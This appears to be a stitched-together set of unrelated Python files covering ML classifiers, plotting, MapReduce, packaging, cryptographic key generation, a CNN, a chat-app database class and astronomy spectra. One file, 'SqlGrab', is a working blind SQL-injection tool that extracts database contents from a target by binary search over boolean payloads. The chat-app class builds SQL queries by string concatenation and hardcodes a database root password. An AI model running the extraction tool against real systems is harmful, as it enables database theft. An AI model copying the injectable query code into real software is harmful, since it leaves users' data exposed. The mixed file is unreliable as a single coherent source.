#Import all the modules here
import pandas as pd
import decisiontree as dt
import processdata as procd
import importcsv as ic
import bayesian
import nn
import preprocessing
import svm
import arm as arm
import pickle
import DBSCAN
from processResults import processResults, generateGraphs,generateGraphsSingle
from collections import defaultdict
from sklearn.model_selection import train_test_split
#Insert main code here

def reduceDimenTest(extramodelNames = ''):
	FILL_METHODS = ["mean","median","mode","none"]

	#space to search in where num_components refer to the dimensionality of the processed dataset
	NUM_COMPONENTS = [4,8,10]
	processedResults = defaultdict(lambda: [])

	for n_components in NUM_COMPONENTS:
		for filling in FILL_METHODS:
			print("**********************************now at ",filling, n_components)

			# in above function, fill_method has 'median', 'mode', and 'mean' options to fill data with the median, mode or mean
			data = ic.separateImport()
			data = procd.fillData(data, fill_method=filling)
			X_data, Y_data = preprocessing.createFullSet(data)
			X_data, pca, ss = preprocessing.performPCA(X_data, n_components)
			m = 3* X_data.shape[0] // 10
			trainX, testX, trainY, testY = train_test_split(X_data, Y_data, test_size=m, random_state=42, stratify=Y_data)

			#print(data)

			print("training set size: ", trainX.shape[0], " test set size: ", testX.shape[0] )
			#Sandbox your code here, before transfering it into your own python file
			predictions = []
			methods = []
			#min_sup = 0 #set it to be smth
			#associateRuleMiningPredictions = arm.generate_rules(min_sup)
			#print("Associate Rule Mining Predictions", associateRuleMiningPredictions)

			nnPredictions = nn.neuralNet(testX, testY, trainX, trainY, useTrainedModel = True,modelName =  filling + str(n_components) + extramodelNames)
			#print("nnPredictions",type(nnPredictions),nnPredictions)
			predictions.append(nnPredictions)
			methods.append("nnPredictions")

			bayesPredictions = bayesian.naiveBayes(testX, testY, trainX, trainY)
			#print("bayesPredictions",type(bayesPredictions),bayesPredictions)
			predictions.append(bayesPredictions)
			methods.append("bayesPredictions")

			#gs is the grid search model that i use to find the best parameters for the svm.
			#It automatically uses k-fold cross validation to find the best parameters
			#we can call print(gs.best_params_) to determine what params were used for this model
			svmPredictions, clf = svm.svmPredict(testX, testY, trainX, trainY, filling+str(n_components)+extramodelNames, gridSearch=False)
			#print("SVMpredictions", type(svmPredictions), svmPredictions)
			predictions.append(svmPredictions)
			methods.append("SVMpredictions")

			#best hyperparams precalculated using grid search model to save time
			#res, best_params = dt.gridSearchWrapper(testX, testY, trainX, trainY)
			best_params = {'n_estimators': 10, 'max_depth': 6, 'min_samples_split': 14}
			randforestPred = dt.randomForestClassify(testX, testY, trainX, trainY, best_params)
			predictions.append(randforestPred)
			methods.append("randforest")
			# methods.append("Random forest")

			#ensemble method using a simple majority vote of all the classifiers.
			ensemblePred = []

			for result in zip(*[item.tolist() for item in predictions]):
				ensemblePred.append(max(set(result), key=result.count))

			predictions.append(ensemblePred)
			methods.append("Ensemble")
			#print("ensemblePred", ensemblePred)

			for prediction, labels in zip(predictions,methods):
				result = processResults(prediction,testY,filling,labels)
				result["n_components"] = n_components
				result["filling"] = filling
				processedResults[labels].append(result)
	generateGraphsSingle(processedResults,FILL_METHODS)
	generateGraphs(processedResults,FILL_METHODS)

def generate_association_rules(minsup=0.5, minconf=0.7):
	# print("(Itemset, Count)")
	# arm.print_frequent_itemsets(minsup)
	print("Rules generated from ARM with {} min support and {} min confidence:".format(minsup, minconf))
	arm.print_rules(minsup, minconf)

if __name__ == '__main__':
	# reduceDimenTest('tenDim')
	DBSCAN.perform_dbscan()


import numpy as np
import matplotlib.pyplot as plt

def plot_xyzI(xyzIs, xyzIs2=None, alpha_max=0.2, steps=32, ball_size=100.0):
    """
    Plot a 3D intensity distribution. Can plot two distributions at the same
    time using blue and red color.

    Parameters
    ----------

    xyzIs           An array of x,y,z positions and Intensities.

    xyzIs2          A second (optional) array of x,y,z positions and
                    intensities to be plotted in red color.
    """
    fig = plt.figure()
    ax = fig.add_subplot(111, projection="3d")

    add2ax_xyzI(
        ax,
        xyzIs,
        color="b",
        steps=steps,
        alpha_max=alpha_max,
        ball_size=ball_size,
    )

    if xyzIs2 is not None:
        add2ax_xyzI(
            ax,
            xyzIs2,
            color="r",
            steps=steps,
            alpha_max=alpha_max,
            ball_size=ball_size,
        )

def hist3D_to_xyzI(
    xyz_hist, x_bin_centers, y_bin_centers, z_bin_centers, threshold=0,
):
    """
    Returns a flat array of x,y,z positions and intensities for each voxel in
    the 3D histogram.

    Parameters
    ----------
    xyz_hist : array 3d
        A 3D intensity histogram with the shape specified in the
        binning parameter.

    x_bin_centers : array 1d
        The centers of the bins in x

    y_bin_centers : array 1d

    z_bin_centers : array 1d

    threshold : float
        Voxels in the 3D intensity histogram below this threshold
        are neglected.
    """
    xyzi = []
    for x in range(xyz_hist.shape[0]):
        for y in range(xyz_hist.shape[1]):
            for z in range(xyz_hist.shape[2]):
                if xyz_hist[x, y, z] > threshold:
                    xyzi.append(
                        np.array(
                            [
                                x_bin_centers[x],
                                y_bin_centers[y],
                                z_bin_centers[z],
                                xyz_hist[x, y, z],
                            ]
                        )
                    )
    xyzi = np.array(xyzi)
    return xyzi

def add2ax_xyzI(
    ax, xyzIs, color="b", alpha_max=0.2, steps=32, ball_size=100.0
):
    if xyzIs.shape[0] == 0:
        return

    intensities = xyzIs[:, 3]
    xyzIs_sorted = xyzIs[np.argsort(intensities)]
    length = xyzIs_sorted.shape[0]

    if steps > length:
        steps = length

    (starts, ends) = _start_and_end_slices_for_1D_array_chunking(
        number_of_chunks=steps, array_length=length
    )

    mean_chunk_intensities = []
    for i in range(steps):
        start = starts[i]
        end = ends[i]
        mean_chunk_intensities.append(xyzIs_sorted[start:end, 3].mean())
    mean_chunk_intensities = np.array(mean_chunk_intensities)

    max_chunk_intensities = mean_chunk_intensities.max()

    for i in range(steps):
        start = starts[i]
        end = ends[i]
        mean_I = mean_chunk_intensities[i]
        max_I = max_chunk_intensities
        relative_I = mean_I / max_I

        ax.scatter(
            xyzIs_sorted[start:end, 0],
            xyzIs_sorted[start:end, 1],
            xyzIs_sorted[start:end, 2],
            s=ball_size,
            depthshade=False,
            alpha=relative_I * alpha_max,
            c=color,
            lw=0,
        )

def _start_and_end_slices_for_1D_array_chunking(
    number_of_chunks, array_length
):
    assert array_length >= number_of_chunks
    assert array_length > 0
    assert number_of_chunks >= 1

    chunk_edges = np.array(
        np.floor(np.linspace(0.0, array_length - 1, number_of_chunks + 1)),
        dtype=np.int64,
    )

    return (chunk_edges[0:-1], chunk_edges[1:])


from requests import Request, Session
import time
import math
import urllib.parse
import urllib3
import argparse
from http.server import BaseHTTPRequestHandler
from io import BytesIO

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class HTTPRequest(BaseHTTPRequestHandler):
    ''' Used for parsing raw HTTP requests '''

    def __init__(self, request_text):
        self.rfile = BytesIO(request_text)
        self.raw_requestline = self.rfile.readline()
        self.error_code = self.error_message = None
        self.parse_request()

    def send_error(self, code, message):
        self.error_code = code
        self.error_message = message

class SqlGrab:
    ''' Extracts string data from a conditional SQLi vulnerability using a binary search tree approach '''

    payloads = {
        'mysql': {
            'length': 'LENGTH(({query})){operator}{value}',
            'character': 'SUBSTRING(({query}),{index},1){operator}CHR({value})',
            'string': 'STRCMP(({query}),{value})'
        },
        'mssql': {
            'length': 'LEN(({query})){operator}{value}',
            'character': 'SUBSTRING(({query}),{index},1){operator}CHR({value})',
            'string': '({query})=\'{value}\''
        },
        'oracle': {
            'length': 'LENGTH(({query})){operator}{value}',
            'character': 'SUBSTR(({query}),{index},1){operator}CHR({value})',
            'string': '({query})=\'{value}\''
        },
        'postgresql': {
            'length': 'LENGTH(({query})){operator}{value}',
            'character': 'SUBSTRING(({query}),{index},1){operator}CHR({value})',
            'string': '({query})=\'{value}\''
        },
    }

    initialLength = 16
    initialCharacter = ord('Z')
    locations = []  # informational - locations within the request that the payload appears

    def __init__(self, options):
        # set options
        self.urlencode = options.urlencode
        self.delay = options.delay
        self.payloads = self.payloads[options.dbms]
        self.condition = options.condition
        self.proxy = {
            'http': options.proxy,
            'https': options.proxy
        } if options.proxy else {}

        try:
            # parse the base request from file
            self.request = self.parseRequest(options.host, options.request)
            print(
                f'[*] Query: \'{options.query}\'. Inserting payload into {", ".join(self.locations)}.')

            self.session = Session()  # start a session for connection pooling

            # get the length of the query output
            length = self.getLength(query=options.query)
            print()

            # retrieve the output
            result = self.getString(query=options.query, length=length)
            print(f'\n{result}\n')

        except RuntimeError as e:
            print(e)
        except KeyboardInterrupt:
            print('\n[!] Interrupted')

    def getValue(self, payload, args, range=(0, math.inf), context={}, status=None):
        ''' Determines the value of a vairable based on iterative halving/doubling of the search space '''
        min, max = range

        while min != max:

            if self.getMatch(payload, args=dict(**args, operator='>')):  # if greater than value
                min = args['value'] + 1
            else:  # if less than value
                max = args['value']

            if max == math.inf:
                # double value to find upper bound if not already found
                args['value'] *= 2
            else:
                # narrow down between that range
                args['value'] = min + int((max - min) / 2)

            if status:
                print(status.format(context=context, min=min, max=max), end='\r')

            if args['value'] > 2**32:
                raise RuntimeError(
                    '[!] An upper bound on the output length could not be found. Maybe a syntax error?')

            time.sleep(self.delay)

        # sanity check
        if not self.getMatch(payload, dict(**args, operator='=')):
            raise RuntimeError(
                '[!] The result was invalid, either due to a syntax error or because no result exists. Send the requests to Repeater and sanity check them.')

        return args['value']

    def getLength(self, **args):
        ''' Determines the length of the query response '''
        return self.getValue(
            self.payloads['length'],
            args=dict(**args, value=self.initialLength),
            status="[*] Determining length... (\x1B[90mBetween {min} and {max}\x1B[0m\x1B[0m)")

    def getString(self, length, **args):
        ''' Determines the value of each character in a [length]-long string '''

        result = ''

        for i in range(1, length + 1):

            result += chr(self.getValue(
                payload=self.payloads['character'],
                range=(0x20, 0x7E),  # range of printable ASCII characters
                context={'i': i, 'length': length, 'result': result},
                status="[*] [\x1b[90m{context[i]}/{context[length]}: Between '{min:c}' and '{max:c}'\x1b[0m] \x1b[32m{context[result]}\x1b[0m",
                args=dict(**args, index=i, value=self.initialCharacter)
            ))

        # sanity check
        if not self.getMatch(self.payloads['string'], args=dict(**args, value=result, operator='=')):
            raise RuntimeError(
                '[!] The result was invalid, either due to a syntax error or because no result exists. Send the requests to Repeater and sanity check them.')

        return result

    def isMatch(self, response):
        ''' Takes a conditional statement from command line arguments and determines the truth value of the query based on it. '''
        return eval(self.condition, locals())

    def getMatch(self, payload, args):
        ''' Issues a request and determines truth value of the query based on the response '''

        prepared = self.request.prepare()

        # Default to keepalive; speed increase
        prepared.headers['Connection'] = 'keep-alive'

        payload = payload.format(**args)
        if self.urlencode:
            urllib.parse.quote_plus(payload)

        # perform {payload} tag subsitution
        prepared.url = prepared.url.replace('%7Bpayload%7D', urllib.parse.quote_plus(
            payload))  # URL payload will always be urlencoded

        if prepared.body:
            prepared.body.format(payload=payload)

        prepared.headers = dict([(k, v.format(payload=payload))
                                for k, v in prepared.headers.items()])

        response = self.session.send(
            prepared,
            proxies=self.proxy,
            verify=False
        )

        return self.isMatch(response)

    def parseRequest(self, host, filename):
        ''' Parses a raw HTTP request from file and verifies it contains at least one {payload} tag. Creates a HTTPRequest from the parsed content. '''
        with open(filename, 'rb') as fp:

            parser = HTTPRequest(fp.read())

            if parser.error_code:
                raise RuntimeError(
                    f'Error parsing request file: {parser.error_message}')

            host = '{uri.scheme}://{uri.netloc}'.format(
                uri=urllib.parse.urlparse(host))

            request = Request(
                method=parser.command,
                url=f'{host}{parser.path}',
                headers=parser.headers,
                data=parser.rfile.read(),
            )

            # scan the parsed request for payload tags before preparing it
            tag = '{payload}'

            if tag in request.url:
                self.locations.append('url')
            if request.data and tag in request.data:
                self.locations.append('body')
            for key, value in request.headers._headers:
                if tag in key:
                    self.locations.append(f'{key} header key')
                if tag in value:
                    self.locations.append(f'{key} header value')

            if not self.locations:
                raise Exception(
                    '[!] The parsed request file does not contain a \'{payload}\' tag. Add the string \'{payload}\' within the request file at the injection point.')

            return request

if __name__ == "__main__":

    parser = argparse.ArgumentParser(
        description='Extracts string data from a conditional SQLi vulnerability using a binary search tree approach.',
        epilog='Note: the program will assume something is broken if responses indicate the output is larger than 2^32 bytes (~4GB)'
    )
    parser.add_argument('-u', '--host', required=True,
                        help='Host URL, including protocol scheme and optionally port. E.g. https://target.com:80')
    parser.add_argument('-r', '--request', required=True,
                        help='Request file containing one or more \'{payload}\' tags')
    parser.add_argument('-q', '--query', required=True,
                        help='SQL query to extract the response of. Must return a single string, e.g. @@version, SELECT user FROM dual')
    parser.add_argument('-d', '--dbms', required=True,
                        choices=['mysql', 'mssql', 'oracle', 'postgresql'])
    parser.add_argument('-c', '--condition', required=True,
                        help='Python expression to evaluate to determine true/false from the response. E.g. \'"error" in response.text\', \'response.status_code == 401\', \'len(response.content) > 1433\'')
    parser.add_argument('--delay', required=False, default=0, type=int,
                        help='Delay in seconds to add between requests. Optional. E.g. 1, 0.2')
    parser.add_argument('--urlencode', required=False, action='store_false',
                        help='Perform URL-encoding on the payloads. Optional. E.g. True, False')
    parser.add_argument('--proxy', required=False,
                        help='Proxy to use, e.g. http://127.0.0.1:8080')

    args = parser.parse_args()

    SqlGrab(args)


from mrjob.job import MRJob
from mrjob.step import MRStep
import numpy as np

DATE, CURTAIN, VALUE = 0, 3, 1

class MRValueMean(MRJob):

    def steps(self):
        return [
            MRStep(mapper=self.mapper, reducer=self.reducer_mean_month),
            MRStep(mapper=self.mapper_sum_days, reducer=self.reducer_)
        ]

    def mapper(self, _, line):
        line = line.split(',')
        if line[0] != 'StartedOn':
            date, curtain, value = [line[DATE].split('/')[0], line[DATE].split('/')[1]], line[CURTAIN], line[VALUE]
            yield [int(date[0]), int(date[1]), curtain], float(value)

    def reducer_mean_month(self, key, value):
        yield key, np.mean([val for val in value])

    def mapper_sum_days(self, key, value):
        yield (key[1], key[2]), value

    def reducer_(self, key, value):
        values = []
        for val in value:
            values.append(val)
        yield key, round(max(values), 7)
        yield key, round(min(values), 7)

if __name__ == '__main__':
    MRValueMean().run()


from pathlib import Path

from setuptools import setup, find_packages

long_description = (Path(__file__).parent / "README.md").read_text('utf-8').split('# Installation')[0]

setup(
    name="mokuro",
    version='0.1.7',
    description="Browser reader for manga with selectable text",
    long_description=long_description,
    long_description_content_type="text/markdown",
    url="https://github.com/kha-white/mokuro",
    author="Maciej Budyś",
    author_email="kha-white@mail.com",
    license="GPLv3",
    classifiers=[
        "Programming Language :: Python :: 3",
    ],
    packages=find_packages(),
    include_package_data=True,
    install_requires=[
        "fire",
        "loguru",
        "manga-ocr>=0.1.7",
        "natsort",
        "numpy",
        "opencv-python>=4.1.2",
        "Pillow>=7.1.2",
        "pyclipper",
        "requests",
        "scipy",
        "shapely",
        "torch>=1.7.0",
        "torchsummary",
        "torchvision>=0.8.1",
        "transformers>=4.25.0",
        "tqdm>=4.41.0",
        "yattag",
    ],
    entry_points={
        "console_scripts": [
            "mokuro=mokuro.__main__:main",
        ]
    },
)


import logging
from datetime import datetime

logging.basicConfig(level='DEBUG', filename='sample.log')
logger = logging.getLogger('Python')

msg = str(datetime.now()) +  ':sample debug message'
logger.debug(msg)

msg = str(datetime.now()) +  ':sample warning message'
logger.warning(msg)


'''
时间：2021年03月30日
日志：复现KEFE方法中对于数据与处理的部分
步骤：去除噪声值，包括
    · 非英文数据
    · emoji
    · 特殊符号
    · 特殊数字
'''
import re
import json

app_dictionary = {
    "yahoo-mail": 100001, "gmail": 100002,
    "instagram": 100003, "snapchat": 100004,
    "com.chase.sig.android": 100005, "com.bpi.ng.mobilebanking": 100006,
}

def remove_serial_number(text):
    text = re.sub(r'[^a-zA-Z0-9,.\!?]+', ' ', text)
    text = re.sub(r'[●,=√#￥%&,[]【】◆ ★◎☆⊙]', ' ', text)
    return text

def remove_exce_punc(text):
    duels = [x + x for x in list('。，,=！!-—#')]
    # print(duels)
    for d in duels:
      while d in text:
        text = text.replace(d, d[0])
    return text

def pre_process(file_path):
    print("[INFO] Start to manage: " + file_path)
    lines = open(file_path, encoding="utf-8").readlines()
    print("[FILE] The file has " + str(len(lines)) + " lines.")
    # write_file = open("train/preprocess_result/" + file_path.strip().split("/")[8]+ "_clean_" + file_path.strip().split("/")[9], "w", encoding="utf-8")
    write_file = open("test/preprocess_result/" + file_path.strip().split("/")[8]+ "_clean_" + file_path.strip().split("/")[9], "w", encoding="utf-8")
    id_list = []
    for line in lines:
        line = json.loads(line)
        id = line["id"]
        id_list.append(id)
        text = line["text"].strip()
        # 除去文本之中的噪声项
        text = remove_serial_number(str(text))
        text_remove_noisy = remove_exce_punc(text)
        write_file.write(str(id) + "******" + text_remove_noisy + "\n")
    write_file.close()
    print("[END] Finish writing file " + "preprocess_result/" + file_path.strip().split("/")[8]+ "_clean_data.json")

def read_file(trainData_or_testData):
    file_path_list = []
    for i in range(0, 10): file_path_list.append("data/fold_"+ str(i) + "/" + str(trainData_or_testData) + ".json")
    return file_path_list

if __name__ == "__main__":
    # trainData_or_testData = "train" # 预处理训练集数据中的「特征候选短语」
    trainData_or_testData = "dev" # 预处理测试集数据中的「特征候选短语」
    file_path_list = read_file(trainData_or_testData)
    for one_file_path in file_path_list: pre_process(one_file_path)


import tempfile

class TempFileManager:
    def __enter__(self):
        # Создаем временный файл и открываем его в режиме чтения и записи
        self.file = tempfile.NamedTemporaryFile(mode='w+', delete=False)
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        # Закрываем файл
        self.file.close()

        # Читаем содержимое файла
        with open(self.file.name, 'r') as f:
            content = f.read()

            # Выводим содержимое файла в консоль
            print(f"Содержимое файла:\n{content}")

            # Выводим количество символов в файле
            print(f"Количество символов в файле: {len(content)}")

        # Удаляем временный файл
        self.file.delete = True

    def repeat(self):
        # Дублируем текущее содержимое файла и добавляем в конец файла
        with open(self.file.name, 'a') as f:
            f.write(open(self.file.name).read())

    def write(self, msg):
        # Записываем текст в начало файла
        with open(self.file.name, 'r+') as f:
            content = f.read()
            f.seek(0, 0)
            f.write(msg)
            f.write(content)

    def show(self):
        # Выводим содержимое файла в консоль
        with open(self.file.name, 'r') as f:
            content = f.read()
            print(f"Содержимое файла:\n{content}")

# Пример использования контекстного менеджера
with TempFileManager() as manager:
    # Записываем текст в начало файла
    manager.write("Hello, World!")

    # Дублируем содержимое файла и добавляем в конец
    manager.repeat()

    # Выводим содержимое файла в консоль
    manager.show()


#!/usr/bin/python3
from typing import Union, Tuple, List, Callable, Any
from pypbc import *
import hashlib

class KeyGen:
    def __init__(self, n: int):
        self.params: Parameters = Parameters(qbits=512, rbits=160)
        self.pairing: Pairing = Pairing(self.params)
        self.h1: Callable[[Union[bytes, bytearray, str]], Element] = self.get_hash_function(self.pairing, hashlib.sha3_256)
        self.h2: Callable[[Union[bytes, bytearray, str]], Element] = self.get_hash_function(self.pairing, hashlib.sha3_512)
        self.e: Callable[[Element, Element], Element] = lambda e1, e2: self.pairing.apply(e1, e2)
        self.pub_keys: List[Element] = []
        self.keys: List[Tuple[Element, Element]] = []
        self.priv_keys: List[Element] = []
        self.g = Element.random(self.pairing, G1)
        for _ in range(n):
            sk: Element = Element.random(self.pairing, Zr)
            pk: Element = Element(self.pairing, G1, value=self.g ** sk)
            self.keys.append((sk, pk))
            self.pub_keys.append(pk)
            self.priv_keys.append(sk)

    def get_hash_function(self, pairing, hash_function: Callable[[Union[bytes, bytearray]], Any]) -> Callable[[Union[bytes, bytearray, str]], Element]:
        return lambda text: Element.from_hash(pairing, G1, hash_function(text).digest()) if isinstance(text, (bytes, bytearray)) else \
            Element.from_hash(pairing, G1, hash_function(text.encode()).digest())

    def __str__(self):
        return f"\n".join([f"keys (s{i},p{i})=({self.keys[i][0]},{self.keys[i][1]})" for i, key in enumerate(self.keys)])

if __name__ == '__main__':
    print(KeyGen(3))


import torch
import torch.nn as nn
import torch.optim as optim
import numpy as np
import torchvision
from torchvision import datasets, models, transforms
import time
import copy

class CNNEarDetector:

    def __init__(self, model, num_classes, extract_features=True):
        if model == "resnet":
            self.model = torchvision.models.resnet50(pretrained=True)
            if extract_features:
                for param in model.parameters():
                    param.requires_grad = False
            nfeatures = self.model.fc.in_features
            self.model.fc = nn.Linear(nfeatures, num_classes)
            self.input_size = 224
        elif model == "alexnet":
            self.model = torchvision.models.alexnet(pretrained=True)
            if extract_features:
                for param in model.parameters():
                    param.requires_grad = False
            nfeatures = self.model.classifier[6].in_features
            self.model.classifier[6] = nn.Linear(nfeatures, num_classes)
            self.input_size = 224

        self.extract_features = extract_features

        self.optimizer = None

    def set_otpimizer(self, learning_rate=0.001, weight_decay=0):
        # construct an optimizer
        if self.extract_features:
            params = [p for p in self.model.parameters() if p.requires_grad]
        else:
            params = self.model.parameters()

        self.optimizer = torch.optim.SGD(params, lr=learning_rate, weight_decay=weight_decay)

    def train(self, dataloader, criterion, num_epochs=50, learning_rate=0.001, weight_decay=0, since=time.time()):
        # train on the GPU or on the CPU, if a GPU is not available
        device = None
        if torch.cuda.is_available():
            print("Training model on GPUs")
            device = torch.device('cuda')
        else:
            print("Training model on CPUs")
            device = torch.device('cpu')

        self.model.to(device)

        # Initialize optimizer if it doesn't already exist
        if self.optimizer is None:
            self.set_otpimizer(learning_rate, weight_decay)

        val_acc_history = []

        best_model_wts = copy.deepcopy(self.model.state_dict())
        best_acc = 0.0

        for epoch in range(num_epochs):
            print('Epoch {}/{}'.format(epoch, num_epochs - 1))
            print('-' * 10)

            # Each epoch has a training and validation phase
            for phase in ['train', 'val']:
                if phase == 'train':
                    self.model.train()  # Set model to training mode
                else:
                    self.model.eval()  # Set model to evaluate mode

                running_loss = 0.0
                running_corrects = 0

                # Iterate over data.
                for inputs, labels in dataloader[phase]:
                    inputs = inputs.to(device)
                    labels = labels.to(device)

                    #print(labels)

                    # zero the parameter gradients
                    self.optimizer.zero_grad()

                    # forward
                    # track history if only in train
                    with torch.set_grad_enabled(phase == 'train'):
                        # Get model outputs and calculate loss
                        outputs = self.model(inputs)
                        loss = criterion(outputs, labels)

                        _, preds = torch.max(outputs, 1)

                        # backward + optimize only if in training phase
                        if phase == 'train':
                            loss.backward()
                            self.optimizer.step()

                    # statistics
                    running_loss += loss.item() * inputs.size(0)
                    running_corrects += torch.sum(preds == labels.data)

                epoch_loss = running_loss / len(dataloader[phase].dataset)
                epoch_acc = running_corrects.double() / len(dataloader[phase].dataset)

                print('{} Loss: {:.4f} Acc: {:.4f}'.format(phase, epoch_loss, epoch_acc))

                # deep copy the model
                if phase == 'val' and epoch_acc > best_acc:
                    best_acc = epoch_acc
                    best_model_wts = copy.deepcopy(self.model.state_dict())
                if phase == 'val':
                    val_acc_history.append(epoch_acc)

            print()

        time_elapsed = time.time() - since
        print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60, time_elapsed % 60))
        print('Best val Acc: {:4f}'.format(best_acc))

        # load best model weights
        self.model.load_state_dict(best_model_wts)

        return val_acc_history

    def save(self, root, filename):
        torch.save({"model_state_dict": self.model.state_dict(),
                    "optimizer_state_dict": self.optimizer.state_dict()},
                   root+"/feature_extractors/your_super_extractor/"+filename+".pt")

    def load(self, root, filename):
        if torch.cuda.is_available():
            checkpoint = torch.load(root+"/feature_extractors/your_super_extractor/"+filename+".pt")
        else:
            checkpoint = torch.load(root +"/feature_extractors/your_super_extractor/" + filename + ".pt", map_location=torch.device('cpu'))

        self.model.load_state_dict(checkpoint['model_state_dict'])

        params = [p for p in self.model.parameters() if p.requires_grad]
        self.optimizer = torch.optim.SGD(params, lr=0.001)
        self.optimizer.load_state_dict(checkpoint['optimizer_state_dict'])

        if torch.cuda.is_available():
            self.model.to('cuda')

    def __call__(self, *args):
        return self.model(*args)

    def set_train(self):
        self.model.train()

    def set_eval(self):
        self.model.eval()


import pymysql as pymysql

from QQModel.Entity.friend import friend

class request:
    # 请求  Request (account,receiver_account, state)
    # state为0表示未处理，1表示同意，2表示拒绝

    def __init__(self, account='', receiver_account='', state=0):
        self.account = account
        self.receiver_account = receiver_account
        self.state = state
        self.db = pymysql.connect("localhost", "root", "Sunbz241290", "qqsimulator")
        self.cursor = self.db.cursor()  # 创建一个游标对象 cursor

    def send_request(self):
        # 创建申请 -1表示原来没有 0表示未处理，1表示同意，2表示拒绝
        self.check_request()
        if self.state==-1:
            sql = "INSERT INTO Request(account,receiver_account, state) values('" + str(self.account) + "','" \
                  + str(self.receiver_account) + "',0) "
        elif self.state==0:
            return self.state
        elif self.state==1:
            return self.state
        elif self.state==2:
            sql = "UPDATE Request  set state = 0 " + "  WHERE receiver_account = '" + self.receiver_account + "' " + \
                  " AND account = '" + self.account + "'"
        try:
            self.cursor.execute(sql)
            self.db.commit()
        except:
            self.db.rollback()
        self.db.close()
        return self.state

    def check_request(self):
        # 查看申请状态，是无申请还是怎样
        sql = "SELECT state FROM Request WHERE receiver_account = '"+self.receiver_account+"' "+\
              " AND account = '"+self.account+"'"
        try:
            self.cursor.execute(sql)
            results = self.cursor.fetchall()
            if results == ():
                self.state = -1
                return
            for r in results:
                self.state = r[0]
        except:
            self.db.rollback()

    def select_send_friend(self):
        # 查看发送的申请   为account赋值
        sql = "SELECT  sendname, receivename, sendaccount, receiveaccount, state FROM V_Request_User WHERE sendaccount = '"+ self.account+"' "
        requests = []
        try:
            self.cursor.execute(sql)
            results = self.cursor.fetchall()
            for r in results:
                temp = {'sendname': "",'receivename': "",'sendaccount': "",'receiveaccount': "",'state': 0}
                temp['sendname'] = r[0]
                temp['receivename'] = r[1]
                temp['sendaccount'] = r[2]
                temp['receiveaccount'] = r[3]
                temp['state'] = r[4]
                requests.append(temp)
        except:
            self.db.rollback()
        self.db.close()
        return requests

    def select_receive_friend(self):
        # 查看收到的的申请    为account赋值
        sql = "SELECT  sendname, receivename, sendaccount, receiveaccount, state FROM V_Request_User WHERE receiveaccount = '"+ self.account+"' "
        requests = []
        try:
            self.cursor.execute(sql)
            results = self.cursor.fetchall()
            for r in results:
                temp = {'sendname': "",'receivename': "",'sendaccount': "",'receiveaccount': "",'state': 0}
                temp['sendname'] = r[0]
                temp['receivename'] = r[1]
                temp['sendaccount'] = r[2]
                temp['receiveaccount'] = r[3]
                temp['state'] = r[4]
                requests.append(temp)
        except:
            self.db.rollback()
        self.db.close()
        return requests

    def deal_request(self):
        # 处理申请
        # 申请得到同意后，系统会自动成功添加好友state置为1。
        # 申请得到拒绝后， state置为2，不执行操作
        sql = "UPDATE  request SET state = "+str(self.state)+"  WHERE receiver_account = '"+self.receiver_account+"' "+" AND account = '"+self.account+"'"
        try:
            self.cursor.execute(sql)
            self.db.commit()
        except:
            self.db.rollback()
        self.db.close()
        if(self.state==1):
            a = friend(account=self.account, friend_account=self.receiver_account)
            a.create_friend()

# a = request(account="256767845")
# users = []
# users = a.select_send_friend()
# print(users)
# for i in users:
#     print(i.get('sendname'))


import numpy as np
from scipy import stats
from scipy.interpolate import CubicSpline
import matplotlib.pyplot as plt
from matplotlib import cm

# define constants
_c = 299792.458 # speed of light in km s^-1

class SpecAnalysis:
    '''Analyse astronomy spectra.
    '''

    def __init__(self, wavelength, flux, flux_err=None):
        '''
        Parameters
        ----------
        wavelength : List[Real] or 1darray
            Input wavelengths. Needs to be monotonically increasing.
        flux : List[Real] or 1darray
            Input flux profile.
        flux_err : List[Real] or 1darray, optional
            Input flux error. If None, then set to array of 0.
        '''

        # if no error, then set error to 0
        if flux_err is None:
            flux_err = np.full(len(flux), 0)

        # change to numpy array
        try:
            self.wl = np.array(wavelength, dtype=float)
            self.flux = np.array(flux, dtype=float)
            self.flux_err = np.array(flux_err, dtype=float)
        except:
            raise ValueError('Could not turn input into numpy arrays.')

        # check monotonic increasing wavelength
        if not ((self.wl[1:] - self.wl[:-1]) > 0).all():
            raise ValueError('Wavelength needs to be strictly increasing')

        # check length of all input equal
        if not len(self.wl) == len(self.flux) == len(self.flux_err):
            raise ValueError(
        'wavelength, flux, flux_err are not the same length')

    def save(self, wavelength, flux, flux_err=None):
        '''Save the values given into the class.

        Parameters
        ----------
        wavelength : List[Real] or 1darray
            Input wavelengths. Needs to be monotonically increasing.
        flux : List[Real] or 1darray
            Input flux profile.
        flux_err : List[Real] or 1darray, optional
            Input flux error. If None, then set to array 0.
        '''

        # if no error, then set error to 0
        if flux_err is None:
            flux_err = np.full(len(flux), 0)

        self.wl = np.copy(wavelength)
        self.flux = np.copy(flux)
        self.flux_err = np.copy(flux_err)

    def mask_region(self, masks, rm='out'):
        '''Mask (remove) a region of the spectrum.

        Parameters
        ----------
        masks : list of lists[float]
            The regions which you want to mask.
        rm : str, optional
            To remove the region in the mask or out. Accepted values: 'in' and
            'out'.

        Returns
        -------
        wl, flux, flux_err : 3darray
            Masked wavelength, flux, and flux error.
        '''

        # make mask
        mask_full = np.zeros(len(self.wl), dtype=bool)
        for lower, upper in masks:
            mask = (lower <= self.wl) & (self.wl <= upper)
            mask_full = mask_full | mask

        # flip if masking inside
        if rm == 'in':
            mask_full = ~mask_full

        # apply mask
        self.save(
            self.wl[mask_full], self.flux[mask_full], self.flux_err[mask_full]
        )

        return self.wl, self.flux, self.flux_err

    def cut(self, center, upper=10, lower=10, domain='wl'):
        '''Cuts the wavelength, flux, and flux error and returns the values
        between center - lower and center + upper.

        Parameters
        ----------
        center : Real
            The center of the wavelengths where the cut should be taken, in the
            same units as the wavelength.
        upper : Positive Real, optional
            The amount to go above the center when taking the cut, in the same
            units of nm if rtype=wl, or in km/s if rtype=vr.
        lower : Positive Real, optional
            The amount to go below the center when taking the cut, in the same
            units of nm if rtype=wl, or in km/s if rtype=vr.
        domain : str, optional
            The domain upper and lower is in. Either wl or vr (wavelength,
            radial velocity respectively).

        Returns
        -------
        wl, flux, flux_err : 3darray
            Cut wavelength, flux, and flux error.
        '''

        # convert to wavelength
        if domain == 'vr':
            lower = vr_to_wl(lower, center=center)
            upper = vr_to_wl(upper, center=center)

        # cut
        low = center - lower
        high = center + upper
        self.mask_region([[low, high]])

        return self.wl, self.flux, self.flux_err

